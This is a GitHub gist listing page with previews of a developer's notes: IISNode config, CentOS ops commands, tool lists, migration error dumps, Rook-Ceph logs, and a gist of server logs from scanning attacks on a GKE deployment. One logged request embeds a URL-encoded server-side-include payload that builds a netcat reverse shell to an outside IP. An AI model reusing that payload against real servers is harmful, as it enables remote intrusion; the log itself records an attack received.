Skip to content

Instantly share code, notes, and snippets.

View tvvignesh's full-sized avatar
🤓
Hacking my way through this world..

Vignesh T.V. tvvignesh

🤓
Hacking my way through this world..
View GitHub Profile
@tvvignesh
tvvignesh / iisnode.md
Last active May 18, 2019 12:11
Using IISNode

Webconfig file when using IIS Node - https://github.com/Azure/iisnode

<configuration>
  <system.webServer>

    <!-- indicates that the hello.js file is a node.js application 
    to be handled by the iisnode module -->

 
@tvvignesh
tvvignesh / linux-reference.md
Last active May 18, 2019 12:12
References when using Linux
@tvvignesh
tvvignesh / ops.md
Last active May 18, 2019 12:13
Quick Commands

SEMODULE DISABLE IN CentOS

sudo cat /var/log/audit/audit.log | grep nginx | grep denied | audit2allow -M mynginx

sudo semodule -i mynginx.pp

ALLOW HTTP & HTTPS TRAFFIC IN FIREWALL

sudo systemctl stop firewalld

@tvvignesh
tvvignesh / tools.md
Last active November 3, 2019 12:21
Tools I use in my system
  1. Google Chrome
  2. VSCode
  3. VLC
  4. QBittorrent
  5. Geany
  6. Docker and Docker Compose
  7. Node.js (NVM)
  8. GIT GUI
  9. OpenJDK
  10. Evolution
@tvvignesh
tvvignesh / browser-extensions.md
Last active November 20, 2019 03:02
References for Cross-Browser extension development
@tvvignesh
tvvignesh / AttackLogs
Created December 24, 2019 01:20
Log of getting attacked in GKE - 1
{"level":"error","message":"{\"message\":\"Page Not Found - /capacitor.js.map\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /capacitor.js.map\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /capacitor.js.map\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/admin/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/dbadmin/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/sqlmanager/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /mysql/mysqlmanager/index.php?lang=en\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /editBlackAndWhiteList\",\"payload\":{}}"}
{"level":"error","message":"{\"message\":\"Page Not Found - /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2094.102.49.104%2031112%20
@tvvignesh
tvvignesh / Photon-Zeebe Thread
Created December 27, 2019 10:23
Just a conversation archive about a bug in Zeebe slack channel
Vignesh T.V. Nov 14th at 8:05 PM
Faced an issue with generating TS constants from BPMN file. Details added here: https://github.com/creditsenseau/zeebe-client-node-js/issues/106
tvvigneshtvvignesh
#106 Cannot read property 'zeebe:taskDefinition' of undefined
Hi. When trying to generate the Typescript definitions from the bpmn file by doing this:
let definitions = await BpmnParser.generateConstantsForBpmnFiles(workflowFile);
I get the following error:
Cannot read property 'zeebe:taskDefinition' of undefined
@tvvignesh
tvvignesh / lift-error-1
Created December 27, 2019 12:48
Lift Migration error
# Failed calculateDatabaseSteps at 2019-12-27T12:44:14.629Z
## RPC One-Liner
```json
{"id":10,"jsonrpc":"2.0","method":"calculateDatabaseSteps","params":{"projectInfo":"","assumeToBeApplied":[{"tag":"CreateSource","source":"postgres"},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"provider","value":"\"postgres\""},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"url","value":"env(\"POSTGRES_URL\")"},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"default","value":"true"},{"tag":"CreateArgument","location":{"tag":"Source","source":"postgres"},"argument":"enabled","value":"true"},{"tag":"CreateModel","model":"ChannelUsers"},{"tag":"CreateField","model":"ChannelUsers","field":"id","type":"String","arity":"Required"},{"tag":"CreateDirective","location":{"path":{"tag":"Field","model":"ChannelUsers","field":"id"},"directive":"default"}},{"tag":"CreateArgument","location":{"tag":"Directive","path":{"tag":"Fiel
@tvvignesh
tvvignesh / lift-error-2
Last active January 14, 2020 17:09
Migration error in Lift
Error: Error in RPC
Request: {
"id": 2,
"jsonrpc": "2.0",
"method": "inferMigrationSteps",
"params": {
"projectInfo": "",
"sourceConfig": "// datasource db {\n// provider = \"sqlite\"\n// url = \"file:dev.db\"\n// enabled = false\n// }\n\ndatasource postgres {\n provider = \"postgres\"\n url = env(\"POSTGRES_URL\")\n // url = \"postgresql://user:password@localhost:1992/accounts\"\n default = true\n enabled = true\n}\n\ngenerator photon {\n provider = \"photonjs\"\n output = \"../../../generated/photon\"\n}\n\n// TODO: Declare optional fields in schema\n\nmodel Phone {\n id String @default(cuid()) @id\n alias String\n contactNo String\n contactType String\n createdDate DateTime @default(now())\n updatedDate DateTime @updatedAt\n}\n\nmodel Email {\n id String @default(cuid()) @id\n alias String\n emailAddress String\n emailType String\n createdDate DateTime @default(no
@tvvignesh
tvvignesh / rook-ceph-operator-logs
Created January 30, 2020 16:10
Rook-Ceph-Operator Logs
Loading...2020-01-30 15:36:02.110633 I | rookcmd: starting Rook v1.2.2 with arguments '/usr/local/bin/rook ceph operator'
2020-01-30 15:36:02.110768 I | rookcmd: flag values: --add_dir_header=false, --alsologtostderr=false, --csi-attacher-image=quay.io/k8scsi/csi-attacher:v1.2.0, --csi-ceph-image=quay.io/cephcsi/cephcsi:v1.2.2, --csi-cephfs-plugin-template-path=/etc/ceph-csi/cephfs/csi-cephfsplugin.yaml, --csi-cephfs-provisioner-dep-template-path=/etc/ceph-csi/cephfs/csi-cephfsplugin-provisioner-dep.yaml, --csi-cephfs-provisioner-sts-template-path=/etc/ceph-csi/cephfs/csi-cephfsplugin-provisioner-sts.yaml, --csi-driver-name-prefix=, --csi-enable-cephfs=true, --csi-enable-grpc-metrics=true, --csi-enable-rbd=true, --csi-kubelet-dir-path=/var/lib/kubelet, --csi-provisioner-image=quay.io/k8scsi/csi-provisioner:v1.4.0, --csi-rbd-plugin-template-path=/etc/ceph-csi/rbd/csi-rbdplugin.yaml, --csi-rbd-provisioner-dep-template-path=/etc/ceph-csi/rbd/csi-rbdplugin-provisioner-dep.yaml, --csi-rbd-provisioner-sts-template-